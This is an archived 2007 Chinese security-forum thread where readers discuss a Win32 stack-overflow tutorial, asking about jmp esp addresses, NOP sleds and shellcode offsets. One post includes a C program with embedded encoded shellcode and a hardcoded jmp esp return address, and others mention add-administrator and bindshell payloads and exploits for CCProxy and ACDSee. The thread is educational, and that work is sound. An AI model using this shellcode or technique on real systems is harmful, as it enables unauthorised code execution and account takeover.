邪恶八进制信息安全团队技术讨论组's Archiver

netxfly 2007-5-11 15:28

[原创]Learnning Win32 Stack Overflow

文章作者:netxfly [E.S.T]
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

remax 2007-5-11 21:53

昨天X总就发给我了,大概看了下,就是覆盖内存数据指向shellcode,基本明白鸟...
他的shellcode都是用的人家生成的,哈哈。... [s:264]

sunlion 2007-5-12 19:18

[quote]引用第1楼remax于2007-05-11 21:53发表的 :
昨天X总就发给我了,大概看了下,就是覆盖内存数据指向shellcode,基本明白鸟...
他的shellcode都是用的人家生成的,哈哈。... [s:264][/quote]
对学习溢出的才鸟们,还是很有帮助的。顶一个:)

netxfly 2007-5-17 17:39

[quote]引用第5楼master0902于2007-05-17 16:32发表的 :
[s:289] 不会用.[/quote]

这个是堆栈溢出的入门Paper,附件中有相关EXP的完整代码,你照着文章一步一步做就可以了。
全部过一遍后,基本上就掌握堆栈溢出了。

xiao2004 2007-5-18 09:16

虽然很详细,但有些关键地方不明白,请楼主解释一下.

缓冲区大小为2008,我们让EIP 往前跳1000 bytes,后面还有1000 bytes
可以容纳我们的ShellCode,其实也不用这么精确的,只要让能容纳下
ShellCode,然后让EIP 跳转到ShellCode 前面的一大堆空指令中,EIP 就会顺
着这些空指令一直执行到我们的ShellCode 中,最后我们构造的exp 如下图所
示:

这里shellcode 的大小为244,然后复制到1500处,按道理1100-1700 都还可以的,
不知道为啥改了就不行,我换别的shellcode都不行,所以说这里定位是不是有什么要注意的,???

另一个小bug
Exp 执行后成功添加security 管理员,如理图所示:
图上却画的添加的是netxfly...

wwwst 2007-5-23 09:49

patternCreate.pl 里面缺少这个,,发下吧,

这个教程真的不错

kyd 2007-6-6 18:40

找shellcode地址那里应该再详细一些

blbz 2007-7-13 18:44

谢谢!文章保存到我博客了.
win32堆栈溢出入门
[url]http://blog.sina.com.cn/u/4caf024901000acy[/url]

qqqqqqpppp 2007-8-3 16:45

谢谢netxfly,真的是很好的教程。不过教程中有个地方没有看懂,请各位指点下啊,问题比较弱!

在溢出ret时覆盖ret地址的为什么是jmp esp呢,执行jmp esp后程序是如何执行的呢?
是因为不能确定shellcode的起始地址吗?在堆栈中ret指令之上还有调用的参数,要是在ret处就执行
jmp esp,那再跳转回来后怎么能执行shellcode呢?
谢谢个位指点啦!

gyzy 2007-8-3 17:48

流程如下,ret地址被0x7ffa4512覆盖。执行ret指令以后:
0x7ffa4512 jmp esp    (esp指向栈中)
0x12xxxxxx shellcode....

如果是ret 8,就是所谓的有八个字节的保留地址,那就要在0x7ffa4512后跟八个nop再跟shellcode。表现在函数上就是此函数带有两个参数

qqqqqqpppp 2007-8-4 11:04

谢谢gyzy的详细解释,说的很清楚,谢谢啦!
不过在动手重现教程中ccproxy的例子中,开始在win2000 server上试验,网上有人说server 中没有通用的jmp esp地址。改在xp+sp2上,发现溢出地址有一个字节的偏差。原文中是31664630,但在我的机器上是46316646,win32下不是应该地址四字节对齐吗?怎么会差一个呢?还劳烦各位解释下!
perl脚本还不太懂,要学的东西真的很多!
谢谢各位!

neversaylove 2007-10-12 11:37

你好,nextlfy,看过了,感觉对自己帮助非常大,在此感谢下. [s:226]
主要还是有问题要问 [s:269] .在acdsee的溢出代码中,最后在的
memcpy(Evilbuffer+0x1916,"\22\x0d\x0a\x29\x36\x0d\x0a",7)这句是起什么作用的啊?看不明白啊,为什么要在6422这里写呢?还望不吝赐教.谢谢

sliverg 2007-10-22 18:51

相当不错的教程!
择个修改如下:

#include<stdio.h>
#include<string.h>

unsigned char scode[]=
"\x2b\xc9\x83\xe9\xc9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x05" //shellcode start here
"\x02\x23\x0a\x83\xeb\xfc\xe2\xf4\xf9\xea\x67\x0a\x05\x02\xa8\x4f"
"\x39\x89\x5f\x0f\x7d\x03\xcc\x81\x4a\x1a\xa8\x55\x25\x03\xc8\x43"
"\x8e\x36\xa8\x0b\xeb\x33\xe3\x93\xa9\x86\xe3\x7e\x02\xc3\xe9\x07"
"\x04\xc0\xc8\xfe\x3e\x56\x07\x0e\x70\xe7\xa8\x55\x21\x03\xc8\x6c"
"\x8e\x0e\x68\x81\x5a\x1e\x22\xe1\x8e\x1e\xa8\x0b\xee\x8b\x7f\x2e"
"\x01\xc1\x12\xca\x61\x89\x63\x3a\x80\xc2\x5b\x06\x8e\x42\x2f\x81"
"\x75\x1e\x8e\x81\x6d\x0a\xc8\x03\x8e\x82\x93\x0a\x05\x02\xa8\x62"
"\x39\x5d\x12\xfc\x65\x54\xaa\xf2\x86\xc2\x58\x5a\x6d\xed\xed\xea"
"\x65\x6a\xbb\xf4\x8f\x0c\x74\xf5\xe2\x61\x4e\x6e\x2b\x67\x5b\x6f"
"\x25\x2d\x40\x2a\x6b\x67\x57\x2a\x70\x71\x46\x78\x25\x71\x46\x69"
"\x70\x70\x4a\x7e\x7c\x22\x50\x6f\x66\x77\x51\x63\x71\x7b\x03\x25"
"\x44\x46\x67\x2a\x23\x24\x03\x64\x60\x76\x03\x66\x6a\x61\x42\x66"
"\x62\x70\x4c\x7f\x75\x22\x62\x6e\x68\x6b\x4d\x63\x76\x76\x51\x6b"
"\x71\x6d\x51\x79\x25\x71\x46\x69\x70\x70\x4a\x7e\x7c\x22\x0c\x4b" /*到此已分配的存储单元全部占用完240*/
"\x41\x46\x23\x0a" //shellcode到此结束,并覆盖EBP
"\x12\x45\xfa\x7f" //jmp esp
"\xE9\x03\xFF\xFF\xFF"; //jmp-248 跳到前面去执行shellcode

int main()
{
char a[237]; //根据计算机对齐原则,此处应分配240个存储单元
strcpy(a,scode);
return 1;
}

个人认为应该可以完成使命滴,但是,很遗憾.啥也没提示就over了 -_-!
麻烦路过的或者楼主看下,以上错在何处 ?
[s:270] [s:270] [s:270]

顺便提下:
跟入这个shellcode后单步调试总是出错,集体运行却没问题 呵呵 :)
有意思 ..~~ [s:269]

neversaylove 2007-12-9 01:44

netxfly大牛,呵呵.我看了你写的这个。有些问题不明白,所以想问下你.可以吗?
在第一个讲解溢出的程序里,编译执行很成功,但是那个jmp -1000,shellcode写到evil+1500的地方。我任意改动一个地方,为什么就不能溢出了,比如我把shellcode写到evil+1200,+1300,+1400等任意地方,都正常返回,没有成功执行shellcode,这是为什么呢?可以讲一下吗?
另外我把这些adduser的shellcode换成bindshell的shellcode后,通通不能成功了,这是怎么回事呢?
还有ccproxy我本机溢出本机的时候,jmp esp应该写在4053的,但是我用同学的机器溢出,jmp esp又该写在4052了,让人很茫然.(这个也是adduser就可以,bindshell就出错)
我的测试环境的是winxp+sp2 ,vc++6.0

neversaylove 2007-12-9 16:05

没有人关注这方面的问题吗?
我有自己用od调试,但是反编译出来的代码和很多地方介绍的都不一样的,40多行,正常应该只有10几行啊,还有我的cpu是双核的,和这个有关系吗?
[code]
00401528 >/$ 55      push  ebp
00401529 |. 8BEC     mov   ebp, esp
0040152B |. 6A FF     push  -1
0040152D |. 68 A0504000  push  004050A0
00401532 |. 68 84214000  push  00402184             ; SE 处理程序安装
00401537 |. 64:A1 0000000>mov   eax, dword ptr fs:[0]
0040153D |. 50      push  eax
0040153E |. 64:8925 00000>mov   dword ptr fs:[0], esp
00401545 |. 83EC 10    sub   esp, 10
00401548 |. 53      push  ebx
00401549 |. 56      push  esi
0040154A |. 57      push  edi
0040154B |. 8965 E8    mov   dword ptr [ebp-18], esp
0040154E |. FF15 04504000 call  dword ptr [<&KERNEL32.GetVersion>; kernel32.GetVersion
00401554 |. 33D2     xor   edx, edx
00401556 |. 8AD4     mov   dl, ah
00401558 |. 8915 F4854000 mov   dword ptr [4085F4], edx
0040155E |. 8BC8     mov   ecx, eax
00401560 |. 81E1 FF000000 and   ecx, 0FF
00401566 |. 890D F0854000 mov   dword ptr [4085F0], ecx
0040156C |. C1E1 08    shl   ecx, 8
0040156F |. 03CA     add   ecx, edx
00401571 |. 890D EC854000 mov   dword ptr [4085EC], ecx
00401577 |. C1E8 10    shr   eax, 10
0040157A |. A3 E8854000  mov   dword ptr [4085E8], eax
0040157F |. 6A 00     push  0
00401581 |. E8 A80A0000  call  0040202E
00401586 |. 59      pop   ecx
00401587 |. 85C0     test  eax, eax
00401589 |. 75 08     jnz   short 00401593
0040158B |. 6A 1C     push  1C
0040158D |. E8 9A000000  call  0040162C
00401592 |. 59      pop   ecx
00401593 |> 8365 FC 00  and   dword ptr [ebp-4], 0
00401597 |. E8 72070000  call  00401D0E
0040159C |. FF15 00504000 call  dword ptr [<&KERNEL32.GetCommand>; [GetCommandLineA
004015A2 |. A3 D8924000  mov   dword ptr [4092D8], eax
004015A7 |. E8 30060000  call  00401BDC
004015AC |. A3 D0854000  mov   dword ptr [4085D0], eax
004015B1 |. E8 D9030000  call  0040198F
004015B6 |. E8 1B030000  call  004018D6
004015BB |. E8 90000000  call  00401650
004015C0 |. A1 04864000  mov   eax, dword ptr [408604]
004015C5 |. A3 08864000  mov   dword ptr [408608], eax
004015CA |. 50      push  eax               ; /Arg3 => 00000000
004015CB |. FF35 FC854000 push  dword ptr [4085FC]        ; |Arg2 = 00000000
004015D1 |. FF35 F8854000 push  dword ptr [4085F8]        ; |Arg1 = 00000000
004015D7 |. E8 24FAFFFF  call  00401000             ; \overflow.00401000
004015DC |. 83C4 0C    add   esp, 0C
004015DF |. 8945 E4    mov   dword ptr [ebp-1C], eax
004015E2 |. 50      push  eax
004015E3 |. E8 95000000  call  0040167D
004015E8 |. 8B45 EC    mov   eax, dword ptr [ebp-14]
004015EB |. 8B08     mov   ecx, dword ptr [eax]
004015ED |. 8B09     mov   ecx, dword ptr [ecx]
004015EF |. 894D E0    mov   dword ptr [ebp-20], ecx
004015F2 |. 50      push  eax
004015F3 |. 51      push  ecx
004015F4 |. E8 59010000  call  00401752
004015F9 |. 59      pop   ecx
004015FA |. 59      pop   ecx
004015FB \. C3      retn
[/code]

vdakulav 2007-12-10 10:04

不是很明白,不过先顶下。

页: [1]
© 1999-2008 EvilOctal Security Team